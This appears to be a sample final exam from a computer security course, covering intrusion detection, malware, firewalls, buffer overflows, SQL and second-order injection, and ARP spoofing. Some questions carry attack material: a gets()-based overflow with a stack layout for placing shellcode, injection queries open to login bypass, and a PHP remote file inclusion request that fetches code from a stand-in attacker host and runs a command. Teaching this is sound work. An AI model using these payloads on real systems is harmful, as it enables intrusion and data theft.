Computer Security Capstone
Sample Final Exam

PROBLEM	MAX SCORE
1	36
2	36
3	5
4	5
5	5
6	5
7	8
TOTAL	100

DO NOT TURN TO THE NEXT PAGE UNLESS YOU GET PERMISSION !!

Problem 1: Multiple choices (2 points each). Select one correct answer from the four choices.

1. Suppose that Bob wants to secure a database for a web service, which requires user input on web pages. He knows the expected queries and understands how the database should behave normally, but have little knowledge about possible attacks. Which of the following countermeasures is NOT appropriate for Bob to take?

   (A) Signature-based detection; (B) Anomaly-based detection; (C) Parameterized query insertion; (D) Run-time prevention.

2. Which of the following statements about different kinds of viruses is FALSE?

   (A) Encrypted virus: using encryption to obscure its content.
   (B) Stealth virus: hiding itself from detection by anti-virus software.
   (C) Polymorphic virus: rewriting itself completely at each iteration.
   (D) Metamorphic virus: changing both of its behaviors and appearance.

3. Which of the following statements about payload is FALSE?

   (A) Both viruses and worms can have payloads.
   (B) Backdoor installs hidden programs on a system to maintain covert access to the system with root privilege.
   (C) Botnet is a collection of bots capable of acting in a coordinated manner, and controlled remotely.
   (D) Phishing exploits social engineering to leverage the user's trust by masquerading as communication from a trusted source.

4. ____ can be used to lure a potential attack away from critical systems.

   (A) HIDS; (B) NIDS; (C) Hybrid IDS; (D) Honeypots.

5. ____ involves an attempt to define a set of rules or attack patterns that can be used to decide if a given behavior is that of an intruder.

   (A) Profile based detection; (B) Signature detection; (C) Threshold detection; (D) Anomaly detection.

6. ____ attacks are vulnerabilities involving the inclusion of script code in the HTML content of a Web page displayed by a user's browser.

   (A) PHP file inclusion; (B) Mail injection; (C) Code injection; (D) Cross-site scripting.

7. The most important changes needed to improve system security are to ____.

   (A) disable remotely accessible services that are not required; (B) ensure that applications and services that are needed are appropriately configured; (C) disable services and applications that are not required; (D) all of the above.

8. Which of the following intruder behaviors is FALSE?

   (A) Covering tracks: disabling or editing audit logs to remove evidence of attack activity.
   (B) Maintaining access: exploiting a network service's vulnerability to gain initial system access.
   (C) Privilege escalation: increasing the privileges via a local access vulnerability.
   (D) Target acquisition and information gathering: identifying and characterizing the target systems using publicly information.

9. Which of the following statements about Network-based Intrusion Detection (NIDS) is FALSE?

(A) NIDS monitors traffic at selected points on a network or interconnected set of networks.
(B) The ability of the NIDS gradually becomes to not function well, because there is an increasing use of encryption.
(C) Inline sensors do not need additional separate hardware devices.
(D) Passive sensors have negative impact on network performance.

10. Which of the following statements about Firewall is FALSE?

(A) It can protect fully against internal threats.
(B) It is a single choke point to keep unauthorized traffic out.
(C) It cannot protect against attacks bypassing the firewall.
(D) It is a convenient platform for Internet functions, e.g., NAT and VPN.

11. Which of the following statements about defenses against buffer overflow is FALSE?

(A) Stackguard adds canary values to check stack for signs of corruption, so it needs to alter the structure of the stack frame.
(B) Stackshield and Return Address Defender keep a copy of the return address in a safe region, so they do not alter the structure of the stack frame.
(C) Address space randomization uses random shift for each process in the memory, so all programs needing protection need to be recompiled.
(D) Executable address space protection blocks the execution of code on the stack.

12. Which of the following statements about defensive programming is FALSE?

(A) It can decrease the amount of codes needed in the program.
(B) It conflicts with business pressures.
(C) It should handle all potential failures gracefully and safely.
(D) It requires a changed mindset to traditional programming practices.

13. ____ can prevent buffer overflow attacks, typically of global data, which attempt to overwrite adjacent regions in the processes address space, such as the global offset table.

(A) MMUs; (B) Guard pages; (C) Heaps; (D) All of the above.

14. Typically the systems in the ____ require or foster external connectivity such as a corporate Web site, an e-mail server, or a DNS server.

(A) DMZ; (B) IP protocol field; (C) boundary firewall; (D) VPN.

15. Traditionally the function of ____ was to transfer control to a user command-line interpreter, which gave access to any program available on the system with the privileges of the attacked program.

(A) shellcode; (B) C coding; (C) assembly language; (D) all of the above.

16. Which of the following statements about the SQL injection attack is FALSE?

(A) It cannot be detected by routers.
(B) It causes database servers to execute malicious commands.
(C) Using the SQL injection, the attacker can extract or manipulate the web app's data.
(D) It is not based on some syntax issues for the user input.

17. Which of the following statements about channels of the SQL injection attack is FALSE?

    (A) Creating a malicious user input is an in-band attack.
    (B) Triggering a web server to send some data through emails is out-of-band attack.
    (C) Adding piggybacked queries usually happens in out-of-band attacks.
    (D) Continuing to try username and password inputs to get useful information from the response is an inferential attack.

18. Which of the following statements about cloud service models is FALSE?

    (A) Online google document services are PaaS.
    (B) A service that allows users to create a VM is IaaS.
    (C) PaaS allows users to deploy their own applications in the cloud.
    (D) For PaaS, cloud infrastructure is visible only to service providers.

Problem 2: Short answer questions (3 points each). Please be brief and concise (No more than three sentences).

1. Why is the signature detection unable to detect unknown attacks?

2. What is the key limitation of the machine learning-based anomaly detection?

3. Which of packet filtering and stateful inspection firewalls imposes larger overhead on the system? Why?

4. Which of application and circuit-level proxy firewalls can generally support all applications? Why?

5. Heap does not have any return address, but it can still suffer from buffer overflow. How can the buffer overflow be launched on the heap?

6. Why is using a modern high-level language not vulnerable to buffer overflow attacks?

7. Assume that you seek to launch a SQLi attack against a website where the following pseudo codes are used for user authentication.

   ```
   /**Input parameters are userName and passWord **/
   cmd = "SELECT * FROM users WHERE (name = ’" + userName + "’) and (pw = ’"+ passWord +"’);"
   result = SQL_execute_command(cmd);
   if result != null then
       login granted
   else
       login rejected
   ```

   Please specify which values of userName and passWord can be used for a successful SQLi attack, where you can login this website without any legitimate username/password pairs.

8. What is the difference between a virus and a worm?

9. When the virus code is prepended to infected programs, it is easily detected. Why? How can the virus bypass such detection?

10. Consider the following three tables: (1) Employees(Employee ID, Name, Address); (2) Salaries(Salary ID, Salary); (3), Emp-Salary(Employee ID, Salary ID). The Emp-Salary is only available to the administrator so that any employee’s salary information cannot be leaked. If a new attribute, employee start date, is needed, is there any security issue to add it to the Salaries table? Why?

11. Why is it inflexible to perform record searching on an encrypted database? Please explain based on the following query.

```
"SELECT Ename, Eid, Ephone FROM Employee WHERE Did < 100"
```

12. Why is it difficult to implement OS access controls for backdoors?

Rule	**Direction**	**Src address**	**Dest address**	**Protocol**	**Dest port**	**Action**
1	Out	Internal	External	TCP	443	Permit
2	In	External	Internal	TCP	>1023	Permit
3	Either	Any	Any	Any	Any	Deny

Table 1: A simplified example of a rule set for HTTPS traffic.

Problem 3: Database security (5 points). Assume that you already know the following two lines of codes in a web-based app. Please give an example how you can launch a second-order injection attack against the app to get Bob’s ssn.

```
"SELECT username FROM sessiontable WHERE session=’"$_POST[’sessionid’]"’"
"SELECT ssn FROM users WHERE username=’"$_POST[’username’]"’"
```

Problem 4: Packet filtering for HTTPS traffic (5 points). Bob sets up a set of packet filtering rules to allow only inbound and outbound HTTPS traffic but to block all other traffic, as shown in Table 1. Rule 1 is to allow outbound HTTPS traffic to external HTTPS servers, and Rule 2 is to allow an inbound response to an outbound HTTPS connection.

- There is one security issue with Rule 2. It allows external traffic to any destination port above 1023. Please suggest how to modify the filtering rule to mitigate this issue.
- However, even if we can make the rule more stringent, it still allows external malicious traffic with the port numbers matching the rule. Can we use a stateful inspect firewall to prevent more external malicious traffic? Why?

Problem 5: Buffer overflow (5 points). Consider the function and its stack in Figure 1. An attacker wants to launch a buffer overflow attack on the program that calls this function by giving an input. Please answer the following questions.

- If the attacker gives an input with 17 bytes, what will happen after the hello function returns?
- If the attacker wants to replace the return address with its specified one, how many bytes are needed to give to the input (including a newline terminator)?
- Assume that there is a 12-byte shellcode, how can the attacker let it be run by causing a stack overflow? Please also specify which address needs to be given in the return address field in your case. Note that the address can vary with where you put the shellcode.

```
void hello(char *tag)
{
    char inp[16];

    printf (“Enter value for %s: “, tag);
    gets(inp);
    printf (“Hello your %s is %s\n”, tag, inp);
}
```

Memory Address	Value	Contains Value of
0xbffffbd8	3e850408	tag
0xbffffbd4	f0830408	return address
0xbffffbd0	e8fbffbf	old frame pointer
0xbffffbcc	1b840408	inp[12-15]
0xbffffbc8	e8fbffbf	inp[8-11]
0xbffffbc4	3cfcffbf	inp[4-7]
0xbffffbc0	34fcffbf	inp[0-3]

Figure 1: Stack overflow example: a function (left) and its stack (right).

Problem 6: Software security (5 points).

- The following HTTP exploit request can be used to attack the following vulnerable PHP code. Which two features of PHP does this attack exploit?

  Vulnerable PHP code

  ```
  <?php
  include $path .  'functions.php';
  include $path .  'data/prefs.php';
  ...
  ```

  HTTP exploit request

  ```
  GET /calendar/embed/day.php?path=http://hacker.web.site/hack.txt?&cmd=ls
  ```

- Please explain why an unsigned input value treated as a signed value could be used to thwart buffer overflow check.

Problem 7: ARP spoofing attack (8 points). Consider a Wi-Fi network with one AP (IP: 192.168.0.1; MAC: aa:aa:aa:aa:aa:aa) and two clients, Attacker (IP: 192.168.0.2; MAC: bb:bb:bb:bb:bb:bb) and Victim (IP: 192.168.0.3; MAC: cc:cc:cc:cc:cc:cc), both of which associate with the AP. Assume that Attacker has successfully launched an ARP spoofing attack to intercept all the traffic to/from Victim. Consider that Victim pings to 8.8.8.8 by sending an ICMP request to it and then receiving an ICMP reply. Please illustrate all the packets caused by the ping and observed by Attacker. For each packet, please specify five kinds of information: message type (request or reply), source/destination IP addresses, and source/destination MAC addresses.